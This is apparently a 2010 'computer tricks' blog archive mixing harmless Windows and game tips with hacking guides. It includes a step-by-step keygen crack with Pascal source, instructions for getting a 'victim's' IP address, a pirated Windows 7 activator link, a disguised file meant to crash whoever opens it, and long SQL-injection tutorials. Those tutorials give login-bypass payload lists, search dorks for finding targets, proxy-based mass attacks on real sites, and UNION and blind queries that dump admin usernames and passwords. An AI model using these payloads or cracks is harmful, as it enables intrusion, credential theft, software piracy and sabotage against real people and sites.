computer tricks: July 2010

Saturday, July 31, 2010

CREATE HIDDEN ACCOUNT IN WINDOWS XP

Since we are going to do all the Editing in Window Registry it is Recommended to Back Up the Registry before going Further.
After you have Backed up your registry follow the Steps to Create your Hidden Account:
First Goto Start -> Run -> Type regedit -> Enter
In the Left Menu goto,

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Cu rrentVersion\Winlogon\SpecialAccounts\UserList

In the Right pane, Right click -> New -> String Value
Right click on the new String Value and click Rename
Type the Name of the Account you want to hide.
Hit Enter then Right click on the String Value again and Change value to 0 which hides it. If you want it to be Visible to all Enter the Value 1.
Now Save and Exit the Registry and Logoff.
Goto welcome screen and Hit ctrl+alt+del twice to bring up Logon prompt
Type hidden Accounts name and password

HOW TO MAKE KEYGEN

Hi there, in this tutorial, I intend to teach you how to make a pretty
simple keygen, of a program called W3Filer 32 V1.1.3.
W3Filer is a pretty good web downloader...
I guess some of you might know the program.
I`ll assume you know:
A.How to use debugger (in this case, SoftIce).
B.How to crack, generally (finding protection routines,patching them,etc...).
C.How to use Disassembler (This knowledge can help).
D.Assembly.
E.How to code in Turbo Pascal ™.
Tools you`ll need:
A.SoftIce 3.00/01 or newer.
B.WD32Asm. (Not a must).
C.The program W3Filer V1.13 (if not provided in this package), can be found in
www.windows95.com I believe.
D.Turbo Pascal (ANY version).
Well, enough blah blah, let's go cracking...
Run W3Filer 32.
A nag screen pops, and , demands registration (Hmm, this sux Cheesy Now,
We notice this program has some kind of serial number (Mine is 873977046),
Let's keep the serial in mind, I bet we`ll meet it again while we're on
the debugger.
Well, now, let's put your name and a dummy reg code...
set a BP on GetDlgItemTextA, and, press OK.
We pop inside GetDlgItemTextA, Lets find the registration routine...
I`ll save you the work, the registration routine is this:
:00404DB2 8D95A8FAFFFF lea edx, dword ptr [ebp+FFFFFAA8]
:00404DB8 52 push edx ---> Your user name here.
:00404DB9 E80B550000 call 0040A2C9 ---> Registration routine.
:00404DBE 83C408 add esp, 00000008 ---> Dunno exactly what is it.
:00404DC1 85C0 test eax, eax ---> Boolean identifier, 0 if
:00404DC3 7D17 jge 00404DDC ---> registration failed, 1 if
OK.
Well, Let's enter the CALL 40A2C9, and see what's inside it:
(Please read my comments in the code).
* Referenced by a CALL at Addresses:
|:00404DB9 , :00407F76
|
:0040A2C9 55 push ebp
:0040A2CA 8BEC mov ebp, esp
:0040A2CC 81C4B0FEFFFF add esp, FFFFFEB0
:0040A2D2 53 push ebx
:0040A2D3 56 push esi
:0040A2D4 57 push edi
:0040A2D5 8B5508 mov edx, dword ptr [ebp+08]
:0040A2D8 8DB500FFFFFF lea esi, dword ptr [ebp+FFFFFF00]
:0040A2DE 33C0 xor eax, eax
:0040A2E0 EB16 jmp 0040A2F8
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A2FB©
|
:0040A2E2 0FBE0A movsx ecx, byte ptr [edx] ----> Here Starts the
interesting part.
:0040A2E5 83F920 cmp ecx, 00000020 ----> ECX is the the current
char in the user name, Hmm, 20h=' '...
:0040A2E8 740D je 0040A2F7 ----> Let's see,
:0040A2EA 8A0A mov cl, byte ptr [edx] ----> Generally, all this loop
does, is copying
the user name from
[EDX], to [ESI], WITHOUT the spaces!
(Keep this in mind! ).
:0040A2EC 880C06 mov byte ptr [esi+eax], cl
:0040A2EF 42 inc edx
:0040A2F0 40 inc eax
:0040A2F1 C6040600 mov byte ptr [esi+eax], 00
:0040A2F5 EB01 jmp 0040A2F8
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A2E8©
|
:0040A2F7 42 inc edx
* Referenced by a (U)nconditional or ©onditional Jump at Addresses:
|:0040A2E0(U), :0040A2F5(U)
|
:0040A2F8 803A00 cmp byte ptr [edx], 00
:0040A2FB 75E5 jne 0040A2E2 ----------------> This is the loop , we got
what it does,
Let's continue tracing
the code...
:0040A2FD 56 push esi --------> The user name is pushed, in order
to
Upcase it's chars.
* Reference To: USER32.CharUpperA, Ord:0000h
|
:0040A2FE E80F330000 Call User!CharUpper ---> After this, our name is in
upper case.
:0040A303 56 push esi -----> Our name in upper case here.
* Reference To: cw3220mt._strlen, Ord:0000h
|
:0040A304 E86F300000 Call 0040D378 ---> This is the length of our name.
:0040A309 59 pop ecx
:0040A30A 8BC8 mov ecx, eax ---> ECX=Length.
:0040A30C 83F904 cmp ecx, 00000004 ---> Length>=4 (MUST).
:0040A30F 7D05 jge 0040A316 ---> Let's go to this address...
:0040A311 83C8FF or eax, FFFFFFFF
:0040A314 EB67 jmp 0040A37D
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A30F©
|
:0040A316 33D2 xor edx, edx
:0040A318 33C0 xor eax, eax
:0040A31A 3BC8 cmp ecx, eax
:0040A31C 7E17 jle 0040A335 ---> (Not important, just another useless
checking).
===================================================================================
============ FROM HERE AND ON, THE IMPORTANT CODE, PAY ATTENTION ==================
===================================================================================
One thing before we continue, EDX = 00000000h as we enter to the next instructions.
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A333©
|
:0040A31E 0FBE1C06 movsx ebx, byte ptr [esi+eax] ---> EBX <--- char in user
name, offset EAX.
:0040A322 C1E303 shl ebx, 03 -----> Hmm, it shl's the char by 03h...
(Remember that).
:0040A325 0FBE3C06 movsx edi, byte ptr [esi+eax] ---> Now EDI <--- Char in
user name , offset EAX.
:0040A329 0FAFF8 imul edi, eax -----> It multiplies the char by the
offset in user name! (Remember that).
:0040A32C 03DF add ebx, edi -----> Adds the result to EBX (That was
Shelled (Ding Dong .
:0040A32E 03D3 add edx, ebx -----> EDX=EDX+EBX!!! - This is the CORE
of this registration routine!!!
:0040A330 40 inc eax -----> Increase EAX by one (next char).
:0040A331 3BC8 cmp ecx, eax
:0040A333 7FE9 jg 0040A31E ----> If ECXloop.
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A31C©
|
:0040A335 A120674100 mov eax, dword ptr [00416720] ---> HMMMMMM, What's in
here?Huh??
:0040A33A C1F803 sar eax, 03 ---------> WAIT! Please type in SIce '?
EAX'
Does this number in EAX look
familiar to us? ;-)
If you still don`t understand,
than, It's
our SERIAL NUMBER! (PLEASE, take
your time, and check by
yourself - don`t trust me!). OK,
so now we know,
That it SHR's EAX by 03 (SAR is
almost identical to SHR).
:0040A33D 03D0 add edx, eax ---------> Hmm, it adds the result from the
loop, the serial number shr'd by 03h
:0040A33F 52 push edx -------> Let's continue. (At this point, I
can tell you , the reg number, is
in EDX - only that the reg number
is in HEX --> That's how you enter it).
* Possible StringData Ref from Data Obj ->"%lx"
|
:0040A340 685EF54000 push 0040F55E
:0040A345 8D95B0FEFFFF lea edx, dword ptr [ebp+FFFFFEB0]
:0040A34B 52 push edx
* Reference To: USER32.wsprintfA, Ord:0000h
|
:0040A34C E8E5320000 Call 0040D636 -------> This one, does HEX2STR (Takes
the value from EDX, and turns it to an hex string).
:0040A351 83C40C add esp, 0000000C
:0040A354 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0] -----> type 'd ecx' -
THIS is the reg number! That's enough for us, the rest of
the code, is
just for comparing the correct reg code with ours.
:0040A35A 51 push ecx
* Reference To: USER32.CharLowerA, Ord:0000h
|
:0040A35B E8B8320000 Call 0040D618
:0040A360 8D85B0FEFFFF lea eax, dword ptr [ebp+FFFFFEB0]
:0040A366 50 push eax
:0040A367 FF750C push [ebp+0C]
* Reference To: cw3220mt._strcmp, Ord:0000h
|
:0040A36A E875300000 Call 0040D3E4
:0040A36F 83C408 add esp, 00000008
:0040A372 85C0 test eax, eax
:0040A374 7405 je 0040A37B
:0040A376 83C8FF or eax, FFFFFFFF
:0040A379 EB02 jmp 0040A37D
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A374©
|
:0040A37B 33C0 xor eax, eax
* Referenced by a (U)nconditional or ©onditional Jump at Addresses:
|:0040A314(U), :0040A379(U)
|
:0040A37D 5F pop edi
:0040A37E 5E pop esi
:0040A37F 5B pop ebx
:0040A380 8BE5 mov esp, ebp
:0040A382 5D pop ebp
:0040A383 C3 ret
Making the actual Keygen
~~~~~~~~~~~~~~~~~~~~~~~~
Now, after I've explained how does the program calculate the registration
code, you can either write your own keymaker, without looking at my code, or
look at my code (in Turbo Pascal - sorry for all you C lovers ;-) Next time).
That's it, here's the source of my keygen:
------------------- Cut here ---------------------------------------------
Program W3FilerKeygen;
var
Key,SerialNum,EB,ED,digit:Longint;
I,x:Byte;
Name,KeyHex:String;
begin
Writeln(' W3Filer32 V1.1.3 Keymaker');
writeln('Cracked by ^pain^ ''97 / Rebels!');
Write('Your Name:'); { Read the name }
readln(Name);
Write('Serial Number:');
readln(SerialNum); {Yes, we need the serial number for the calculation!}
Key:=0;
x:=0;
For I:=1 to length(Name) do
begin
Name:=upcase(Name);
If Name<>' ' then begin
eb:=ord(Name) shl 3; {EB = Name Shl 03h}
Ed:=ord(Name); {ED = Name}
ed:=ed*(x); {ED=ED*Offset}
inc(x);
eb:=eb+ed; {Add ED to EB}
Key:=Key+EB; {Add EB to KEY}
end;
end;
Key:=Key+(SerialNum shr 3); { Add SerialNum shr 03h to Key}
{ From here, this is just HEX2STRING --> I`m quite sure it's
Self explaintory, else - go and learn number bases again! ;-)}
KeyHex:='';
repeat
digit:=Key mod 16;
key:=key div 16;
If digit<10 then KeyHex:=Chr(Digit+ord('0'))+KeyHex;
If digit>10 then KeyHex:=Chr(Digit-10+ord('a'))+KeyHex;
until key=0;
writeln('Your Key:',KeyHex);
writeln(' Enjoy!');
end.

HOW TO GET VICTIMS IP ADDRESS

To get victim ip address we have following options:
_ Php Notify Script
_ Send RCPT Email (Readnotify)
_ Personal website
_ Sniffer
1. PHP Notify script:
Upload the file "index.php" and "ip.html" to an free webspace account which supports php !
say victim to visit your site www.yoursite.com you willget his ip www.yoursite/ip.html
2. Send RCPT Email:
Sign up with www.readnotify.com , lets you know when email you've sent gets read with ip
address.
3. Personal Website:
Use personal hosting and send email to victim about visit your site. You will get all ip and os and
browser details in your awstat and latest visitor section in cpanel.
4. Sniffer:
With help of sniffer like ethereal we can sniff chat (google talk, yahoo,msn) communication and
after we can extract ip address.

We can perform port scanning and vulnerability assessment for remote hacking

computer tricks: Email Hacking

computer tricks: Email Hacking: "How To Hack Orkut ??? Google uses a 4 Level Orkut login which makes it difficult to hack Orkut using brute force attack. Hence it’s almost..."

HOW TO ACTIVE WINDOWS 7 FREE

ACTIVE WINDOWS 7 FREE

THis is tutorial where u can active ur windows 7 free

Okay So Here Are The Steps :

1. Download The windows 7 Activator From Here http://www.mediafire.com/?6i3x3sg29sobyj2

2. Save The file And Extract It to : C:\Windows

3. open the file from C:\Windows and launch the loader

4. Put The loader Tab To Default And Then Click Install :)

NOTE:this only works for windows7 ultimate

Heres a Pic !!
http://i30.tinypic.com/5ycdaq.jpg

u should now have a fully activated windows 7 enjoyy :)

Reverse MD5 hash lookup

Reverse MD5 hash lookup

http://tools.benramsey.com/md5/

GO here

SQL INJECTION BASIC TUTORIAL

SQL injection Basic Tutorial

One of the major problems with SQL is its poor security issues surrounding is the login and url strings. this tutorial is not going to go into detail on why these string work as am not a coder i just know what i know and it works

If you are interested in this topic we have many articles related to SQL Injection also if you would like help with the topic
you can ask in our information security forum where thousands of members can help you.
SEARCH IN NET

admin\login.asp
login.asp

with these two search string you will have plenty of targets to chose from…finding one thats vulnerable is another question

WHAT I DO :
first let me go into details on how i go about my research
i have gathered plenty of injection strings for quite some time like these below and have just been granted access to a test machine and will be testing for many variations and new inputs…legally cool…provided bymy good friend Gsecur aka ICE..also an Astal member.. http://governmentsecurity.org “thanks mate” .. gives me a chance to concentrate on what am doing and not be looking over my shoulder

INJECTION STRINGS :?

this is the easiest part…very simple

on the login page just enter something like

user:admin (you dont even have to put this.)
pass:’ or 1=1–

or

user:’ or 1=1–
admin:’ or 1=1–

some sites will have just a password so

password:’ or 1=1–

infact i have compiled a combo list with strings like this to use on my chosen targets ….there are plenty of strings about , the list below is a sample of the most common used

there are many other strings involving for instance UNION table access via reading the error pages table structure
thus an attack with this method will reveal eventually admin U\P paths…but thats another paper

the one am interested in are quick access to targets

PROGRAM
i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit
of success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minutes
how long would it take to go thought 40 sites cutting and pasting each string ??

combo example:

admin:’ or a=a–
admin:’ or 1=1–

and so on…it dont have to be admin can be anything you want… the most important part is example:’ or 1=1– this is our injection
string

now the only trudge part is finding targets to exploit…so i tend to search say google for login.asp or whatever

inurl:login.asp
index of:/admin/login.asp

like this: index of login.asp

result:

http://www3.google.com/search?hl=en&ie=ISO…G=Google+Search

17,000 possible targets trying various searches spews out plent more

now using proxys set in my browser i then click through interesting targets…seeing whats what on the site pages if interesting
i then cut and paste url as a possible target…after an hour or so you have a list of sites of potential targets like so

http://www.somesite.com/login.asp

http://www.another.com/admin/login.asp

and so on…in a couple of hours you can build up quite a list…reason i dont sellect all results or spider for login pages is
i want to keep the noise level low…my ISP.. well enough said…plus atm am on dial-up so to slow for me

i then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list…start..now i dont want to go into
problems with users using Ares..thing is i know it works for me…

sit back and wait…any target vulnerable with show up in the hits box…now when it finds a target it will spew all the strings on that site as vulnerable…you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site …really i need a program that will return the hit with a click on url and ignore false outputs

am still looking….thing is it saves quite a bit of time going to each site and each string to find its not exploitable.

there you go you should have access to your vulnerable target by now

another thing you can use the strings in the urls were user=? edit the url to the = part and paste ‘ or 1=1– so it becomes

user=’ or 1=1– just as quick as login process

Use following

admin’–

‘ or 0=0 —

” or 0=0 —

or 0=0 —

‘ or 0=0 #

” or 0=0 #

or 0=0 #

‘ or ‘x’='x

” or “x”=”x

‘) or (‘x’='x

‘ or 1=1–

” or 1=1–

or 1=1–

‘ or a=a–

” or “a”=”a

‘) or (‘a’='a

“) or (“a”=”a

hi” or “a”=”a

hi” or 1=1 —

hi’ or 1=1 —

hi’ or ‘a’='a

hi’) or (‘a’='a

hi”) or (“a”=”a

Friday, July 30, 2010

Follow these steps :-

1. Insert the Pen Drive (1GB atleast) in the USB port
try to prefer 4GB or higher than that
2. Let the PC do what it wants to do to detect it
3. After it finished his work, you have to act smart,

Now do following thing

4. Right Click on My Computer --> Properties
5. Advanced --> Performance Settings
6. Advanced --> Change
7. Select the Pen Drive
8. Click on Custom Size

" Check the value of space available "

9. Enter the same in the Initial and the Max columns

" Now You just used the space of the PenDrive as a Virtual Memory "

Restart YOur PC TO Take Effects

WINDOWS XP SECRETS

Windows XP Secrets
Notepad Secrets
Create a log

1. Open Notepad
2. On the very first line, type in ".LOG" (without quotes) then press Enter for a new line
3. Now you can type in some text if you want, then save the file.
4. Next time when you open the file, notice its contents. Notepad automatically adds a time/date log everytime you open the file.

Text becomes unreadable

1. Open Notepad
2. On the very first line, type in "dont eat the donut" (without quotes) then save and close the file. Note: the file should have only one line of the text above.
3. Now, open the same file. You'll notice the text becomes unreadable squares. (try this with different text with the same format and length).

Paint Secrets
Create a trail image

1. Open Paint, then open an image.
2. Right-click on the image and select "Select All"
3. Now hold the "Shift" key and move the image around. The image will be drawn with trail.

10x Zoom

1. Open Paint, then open a small image.
2. Select the zoom "Magnifier" tool.
3. Windows Paint lists out the zoom options from 1x to 8x, but there is a 10x...
4. After selecting the Magnifier tool, point the mouse right at the border line right under "8x" and left-click. There you go.. the hidden 10x.

Other Secrets
Where is the relaxing music that you've heard during Windows XP Installation?

1. The file is in:
C:\Windows\system32\oobe\images\title.wma

Game Secrets
Solitaire: Instant Win

1. Press Alt + Shift + 2 to instantly win

Solitaire: Draw only 1 card (instead of 3)

1. Hold down Ctrl + Alt + Shift then click on unopen cards to draw.

FreeCell: Instant Win

1. Hold down Ctrl + Shift + F10 while playing, then click Abort.
2. Now move one card.

FreeCell: Hidden Game Modes

1. Go to "Game" menu choose "Select Game"
2. Here you can choose from game mode 1 to 1,000,000. But -1 and -2 will also work (hidden modes)

Hearts: Show All Card

1. Warning! this requires a modification on your registry. Be sure you follow the steps carefully. Damage your registry might damage your Windows. Open the "Registry Editor" by: "Start" >> "Run" then type "regedit" and press Enter
2. Expand to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts
3. Right-click on the right panel and create a new String value with the name "ZB"
4. Double-click to open this key "ZB" to edit its value. Then enter "42" and close the Registry Editor.
5. Start Hearts and Press Ctrl + Alt + Shift + F12 to show all the cards

Minesweeper: Stop The Timer

1. When you start to play a new game, the timer is ticking...
2. Press Windows Key + D to show desktop.
3. Now come back to the game by selecting it from the taskbar. The timer is stopped.

Pinball

1. Unlimited Balls: Type bmax at a new game to get unlimited balls (no notification).
2. Extra Balls: Type 1max at a new game to get extra balls.
3. Gravity Well: Type gmax at a new game to activate Gravity Well.
4. Promotion: Type rmax at a new game or while playing to get instant promotion and raising rank.
5. Extra points with partial shots: Partially shot the ball just to pass the yellow light bars. There are 6 bars. With the first bar, you'll get 15,000 points, 2nd: 30,000,...
6. Extra points with partial shots: Partially shot the ball just to pass the yellow light bars. There are 6 bars. With the first bar, you'll get 15,000 points, 2nd: 30,000,...
7. Test Mode: Type hidden test with a new ball or new game. Now you can use your mouse to drag and move the ball where you want

HOW TO LOCK FOLDER USING BATCH

______________________________________________________________________________________________________________________________________________________________________-
cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
_________________________________________________________________________________________

Now paste it in notepad.
Save it as batch file(with extension .bat).Any name will do.
Now you see a batch file. Double click it to create a folder locker.
A new folder named Locker would be formed at the same location.
Now brings all the files you want to hide in the locker folder.
Now double click the batch file to lock the folder namely Locker.
If you want to unlock your files,double click the batch file again and you would be prompted for password.Enter the password and enjoy access to the folder.

Keep Dial Up Connection after Logging off

You may have noticed that you loose your dial-up connection, after you log off your computer.........................

simply add this string to your registry, and your computer will keep your connection after you log off, and switch user until you disconnect it .

Standard Warning: You really should back up your system before making any changes to your registry

1. Open Registry Editor(cntrl+R and then type REGEDIT)

2. Go to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon.

3. Click Add String Value within the Edit menu.

4. Type KeepRasConnections in the dialog box, and select REG_SZ as the
Data Type.

5. Click OK.

6. In the next dialog box, type 1 and click OK.

7. Close the Registry Editor.

ENjoy ...............................

BOOT WINDOWS 7 VERY FAST

ONLY FOR MULTI CORES OR MULTI PROCESSORS LIKE DUAL CORE , CORE 2 DUO ETC...

GO to.........................

START --> RUN --> BOOT (tab) --> ADVANCED OPTIONS --------->
.
.
.
.
.
.
.
.
.

.
Check check box "Number of processors"!!!!!!!!!!!!!!!!!!!!!!!!!!
.
in the drop down below select maximum number ..
.
OK------>APPLY------>RESTART !!! ENjoy

CRASH COMPUTER

Open a notepad
Type the following

start crash.dat
crash.dat
save the file as rabi.dat
by using right click you can change icon

once the file is created if some one is going to click it

the system will crash !!! Enjoy

HOW TO BLOCK WEBSITE

Steps:

1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no longer be accessable.
5] Done!

-So-

127.0.0.1 localhost
127.0.0.2 www.blockedsite.com

-->www.blockedsite.com is now unaccessable<--

For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.

IE: 127.0.0.3 www.blablabla.com
127.0.0.4 www.blablabla.com
127.0.0.5 www.blablabla.com

etc

SQL INJECTION

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).

1.SQL Injection (classic or error based or whatever you call it) Grin

2.Blind SQL Injection (the harder part)

So let's start with some action Grin

1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection Smiley

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works Smiley

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it Smiley

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version Grin

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good Grin)

we know that table admin exists...

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up Smiley

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice Smiley

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser Grin

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... Grin

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... Grin

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together Grin

for that we use concat() , i decribe it earlier.

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com

That's all in this part, now we can proceed on harder part Smiley

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done Grin

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it Grin

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend Smiley

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one Smiley

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR

VIRUS????

A virus is just another computer program made of mainly two parts
1) the replication code
2) the payload

The job of a virus is to go forth and multiply (replication code)
and do something

So essentially, if your calculator software makes copies of itself onto different directories. it can technically be referred to as a virus.

There are thousands upon thousands of computer viruses in the wild. categorize are bwlo given

virus - generic term for a program that makes copies of itself

trojan - a virus that pretends to be a different program.

worm - a virus that actively looks for computers to infect. yes, by itself.
It's like well, a worm..

adware - a virus who's payload is to show/popup ads

